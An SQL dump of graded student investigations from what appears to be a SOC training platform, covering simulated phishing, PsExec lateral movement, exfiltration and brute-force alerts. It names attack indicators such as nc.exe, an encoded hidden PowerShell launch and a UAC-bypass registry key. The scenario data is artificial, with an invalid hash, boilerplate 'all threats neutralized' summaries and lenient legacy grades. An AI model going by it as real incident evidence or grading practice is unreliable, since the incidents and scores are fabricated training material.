INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(509, 225, 1463, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.168.1.100\",\"ip-10.0.0.25\",\"hash-b6a9b3f8\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:22:51 PM\\nALERT: Persistence: Establishing Backdoor Access [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 193.168.1.100\\n- [IP] 10.0.0.25\\n- [HASH] b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\\n- [FILENAME] nc.exe\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:23:02.558Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:21:50', '2026-03-11 03:23:02', 0, NULL),
(510, 225, 1464, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.45.23\",\"ip-192.168.1.105\",\"hash-f5d5a6b9\",\"artifact_1\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:43:37 PM\\nALERT: Lateral Movement: Expanding Reach within the Network [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.0.45.23\\n- [IP] 192.168.1.105\\n- [HASH] f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\\n- [IP] 203.0.113.45\\n- [FILENAME] malware_payload.dll\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:43:39.524Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:23:02', '2026-03-11 03:43:39', 0, NULL),
(511, 225, 1465, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-45.76.23.17\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 2:44:50 PM\\nALERT: Exfiltration: Data Theft and Leakage [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 45.76.23.17\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [FILENAME] confidential_report_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T03:44:56.782Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 03:43:39', '2026-03-11 03:44:56', 0, NULL),
(512, 277, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 11:47:29', '2026-03-11 11:47:29', 0, NULL),
(513, 277, 1248, 'investigating', NULL, NULL, NULL, NULL, '2026-03-11 14:54:11', '2026-03-11 11:48:11', '2026-03-11 11:48:11', 0, NULL),
(514, 232, 1461, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.123.231.45\",\"ip-192.168.1.25\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:21:37 PM\\nALERT: Initial Access: Spear Phishing Campaign [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 185.123.231.45\\n- [IP] 192.168.1.25\\n- [EMAIL] j.smith@sonypictures.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:51:38.339Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 20:56:51', '2026-03-11 17:50:51', '2026-03-11 17:51:38', 0, NULL),
(515, 232, 1462, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-a9f5d8e7\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:23:40 PM\\nALERT: Execution: Deployment of Destructive Malware [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\n- [FILENAME] destructive_payload.dll\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:53:44.421Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:51:38', '2026-03-11 17:53:44', 0, NULL),
(516, 232, 1463, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.168.1.100\",\"ip-10.0.0.25\",\"hash-b6a9b3f8\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:25:37 PM\\nALERT: Persistence: Establishing Backdoor Access [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 193.168.1.100\\n- [IP] 10.0.0.25\\n- [HASH] b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\\n- [FILENAME] nc.exe\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:55:37.623Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:53:44', '2026-03-11 17:55:37', 0, NULL),
(517, 232, 1464, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.45.23\",\"ip-192.168.1.105\",\"hash-f5d5a6b9\",\"artifact_1\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:26:13 PM\\nALERT: Lateral Movement: Expanding Reach within the Network [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.0.45.23\\n- [IP] 192.168.1.105\\n- [HASH] f5d5a6b9c3b53e4d2a3e1b6f8d7e9c2b\\n- [IP] 203.0.113.45\\n- [FILENAME] malware_payload.dll\\n- [USERNAME] j.doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:56:13.586Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:55:37', '2026-03-11 17:56:13', 0, NULL),
(518, 232, 1465, 'graded', 82, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-45.76.23.17\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 11:27:43 PM\\nALERT: Exfiltration: Data Theft and Leakage [OP: Operation Blockbuster- Sony Pictures]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 45.76.23.17\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [FILENAME] confidential_report_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T17:57:53.895Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)\",\"missed_items\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-11 17:56:13', '2026-03-11 17:57:53', 0, NULL),
(519, 282, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 23:46:37', '2026-03-11 23:46:37', 0, NULL),
(520, 283, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-11 23:58:53', '2026-03-11 23:58:53', 0, NULL),
(521, 283, 233, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The log shows that the email came from the address noreply@secure-bank.com , and the link leads to the same domain http://secure-bank.com/login . At first glance, it looks consistent. However, there are two critical signs of phishing: The link uses HTTP instead of secure HTTPS — real banks never use an unencrypted connection for login pages. The sender\'s IP address 198.51.100.22 belongs to the test range, which should not be used in real mail. These signs indicate that the attackers are imitating the bank in order to steal the credentials of the target_user user.\",\"artifacts\":\"198.51.100.22, http://secure-bank.com/login\",\"analysis_answers\":{\"action_taken\":\"The log shows that the email came from the address noreply@secure-bank.com , and the link leads to the same domain http://secure-bank.com/login . At first glance, it looks consistent. However, there are two critical signs of phishing: The link uses HTTP instead of secure HTTPS — real banks never use an unencrypted connection for login pages. The sender\'s IP address 198.51.100.22 belongs to the test range, which should not be used in real mail. These signs indicate that the attackers are imitating the bank in order to steal the credentials of the target_user user.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:07:05.549Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 03:14:35', '2026-03-12 00:09:35', '2026-03-12 12:08:00', 0, NULL),
(522, 285, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 07:27:36', '2026-03-12 07:27:36', 0, NULL),
(523, 281, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 09:53:38', '2026-03-12 09:53:38', 0, NULL),
(524, 289, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 10:05:59', '2026-03-12 10:05:59', 0, NULL),
(525, 42, 233, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"It seems like a false positive alert, as it has been sent from the bank.\",\"artifacts\":\"http://secure-bank.com/login\",\"analysis_answers\":{\"action_taken\":\"It seems like a false positive alert, as it has been sent from the bank.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T11:46:50.416Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 14:51:05', '2026-03-12 11:41:05', '2026-03-12 11:48:00', 0, NULL),
(526, 42, 234, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 14:57:08', '2026-03-12 11:48:08', '2026-03-12 11:48:08', 0, NULL),
(527, 283, 234, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The log shows the execution of the process (process_execution) from host 10.0.0.20 to host 10.0.0.25. According to the incident description, the action was performed using the PsExec utility. The use of PsExec to connect to remote nodes within the network is a typical sign of Horizontal Movement, which is often used by attackers after the initial hacking. Even when using the admin_user account, such activity requires immediate investigation, as it may indicate a compromise of the administrator\'s credentials.\",\"artifacts\":\"10.0.0.20, 10.0.0.25, PSExec\",\"analysis_answers\":{\"action_taken\":\"The log shows the execution of the process (process_execution) from host 10.0.0.20 to host 10.0.0.25. According to the incident description, the action was performed using the PsExec utility. The use of PsExec to connect to remote nodes within the network is a typical sign of Horizontal Movement, which is often used by attackers after the initial hacking. Even when using the admin_user account, such activity requires immediate investigation, as it may indicate a compromise of the administrator\'s credentials.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:25:44.029Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 15:15:32', '2026-03-12 12:08:32', '2026-03-12 12:26:00', 0, NULL),
(528, 42, 750, 'graded', 70, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/1)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.1.20\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12/03/2026, 13:15:12\\nALERT: Suspicious Email Detected - Potential False Positive\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.1.20\\n- [URL] https://example-trusted-site.com/document\\n- [EMAIL] trusted.source@example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (0)\\n------------------------------\\n(No active containment measures)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T12:15:23.959Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/1)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-12 15:13:42', '2026-03-12 12:08:42', '2026-03-12 12:15:23', 0, NULL),
(529, 283, 235, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"A surge in network traffic was recorded on the data-server under the service_account account.\\nThis indicates an automated process (such as data backup or synchronization), which is a normal activity for this type of server.\\nThe priority of the incident is indicated as Low, which does not correspond to the criticality of a real data leak (Exfiltration).\\nNo additional indicators of compromise (suspicious processes, abnormal time) were found.\",\"artifacts\":\"192.168.1.10, 203.0.113.100, service_account\",\"analysis_answers\":{\"action_taken\":\"A surge in network traffic was recorded on the data-server under the service_account account.\\nThis indicates an automated process (such as data backup or synchronization), which is a normal activity for this type of server.\\nThe priority of the incident is indicated as Low, which does not correspond to the criticality of a real data leak (Exfiltration).\\nNo additional indicators of compromise (suspicious processes, abnormal time) were found.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:35:34.417Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 15:36:16', '2026-03-12 12:26:16', '2026-03-12 12:36:00', 0, NULL),
(530, 283, 236, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"There were 150 failed login attempts (attempt count: 150) from one IP address (192.0.2.45) to SSH port (22) under the admin account.\\nSuch a number of unsuccessful attempts in a short time is a characteristic feature of an automated Brute Force attack (password brute force).\\nThe attacker\'s goal was to gain unauthorized access to the internal system. The \\\"Brute Force Detection Policy\\\" protection rule has been activated.\",\"artifacts\":\"192.0.2.45, port 22, admin\",\"analysis_answers\":{\"action_taken\":\"There were 150 failed login attempts (attempt count: 150) from one IP address (192.0.2.45) to SSH port (22) under the admin account.\\nSuch a number of unsuccessful attempts in a short time is a characteristic feature of an automated Brute Force attack (password brute force).\\nThe attacker\'s goal was to gain unauthorized access to the internal system. The \\\"Brute Force Detection Policy\\\" protection rule has been activated.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:51:07.762Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 15:41:07', '2026-03-12 12:36:07', '2026-03-12 12:52:00', 0, NULL),
(531, 283, 242, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"Обнаружен запуск PowerShell с признаками вредоносной активности:\\nИспользование ключей скрытности: -NoP, -NonI, -W Hidden.\\nПередача закодированной команды (Base64) через параметр -E, что указывает на обфускацию кода.\\nРодительский процесс explorer.exe suggests запуск через действие пользователя (открытие файла).\\nЗафиксирована модификация реестра в ключе HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command, что является известным методом обхода UAC (повышения привилегий).\\nНаличие сетевой активности на порт 80.\\nСовокупность этих факторов однозначно указывает на выполнение вредоносного скрипта.\",\"artifacts\":\"powershell.exe -E JABzAHQAcg..., HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command, 2B2B6D120897FBB5783C3F8DCF57DBBA\",\"analysis_answers\":{\"action_taken\":\"Обнаружен запуск PowerShell с признаками вредоносной активности:\\nИспользование ключей скрытности: -NoP, -NonI, -W Hidden.\\nПередача закодированной команды (Base64) через параметр -E, что указывает на обфускацию кода.\\nРодительский процесс explorer.exe suggests запуск через действие пользователя (открытие файла).\\nЗафиксирована модификация реестра в ключе HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command, что является известным методом обхода UAC (повышения привилегий).\\nНаличие сетевой активности на порт 80.\\nСовокупность этих факторов однозначно указывает на выполнение вредоносного скрипта.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T13:10:21.064Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 16:05:43', '2026-03-12 12:57:43', '2026-03-12 13:11:00', 0, NULL),
(532, 283, 243, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"There were 45 unsuccessful attempts to log in using the RDP protocol from the 192.168.1.25 host to the 10.0.0.4 server.\\nThe key indicator of the attack is the search for various accounts (admin, guest, user1), which is typical for automated brute force, and not for user error.\",\"artifacts\":\"192.168.1.25, 10.0.0.4, RDP, admin/guest/user1\",\"analysis_answers\":{\"action_taken\":\"There were 45 unsuccessful attempts to log in using the RDP protocol from the 192.168.1.25 host to the 10.0.0.4 server.\\nThe key indicator of the attack is the search for various accounts (admin, guest, user1), which is typical for automated brute force, and not for user error.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T13:23:14.060Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 16:20:28', '2026-03-12 13:11:28', '2026-03-12 13:24:00', 0, NULL),
(533, 290, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 13:52:27', '2026-03-12 13:52:27', 0, NULL),
(534, 290, 384, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.25\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/12/2026, 8:08:24 AM\\nALERT: Spear Phishing Email Detected [OP: Operation Gothic Panda]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.25\\n- [EMAIL] john.doe@fakecompany.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T15:08:59.097Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"isolate_host\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-12 17:31:23', '2026-03-12 14:25:23', '2026-03-12 15:08:59', 0, NULL),
(535, 290, 384, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 17:30:23', '2026-03-12 14:25:23', '2026-03-12 14:25:23', 0, NULL),
(536, 34, 234, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 17:48:47', '2026-03-12 14:38:47', '2026-03-12 14:38:47', 0, NULL),
(537, 287, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 16:02:59', '2026-03-12 16:02:59', 0, NULL),
(538, 34, 233, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 21:07:09', '2026-03-12 18:01:09', '2026-03-12 18:01:09', 0, NULL),
(539, 283, 1466, 'graded', 82, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:08:49\\nALERT: Initial Access via Spear Phishing [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.105\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [DOMAIN] update-portal.example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:09:56.045Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)\",\"missed_items\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-12 23:10:18', '2026-03-12 20:02:18', '2026-03-12 20:09:56', 0, NULL),
(540, 283, 1467, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:15:00\\nALERT: Execution of Malicious Payload [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] payload.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:15:07.202Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:09:56', '2026-03-12 20:15:07', 0, NULL),
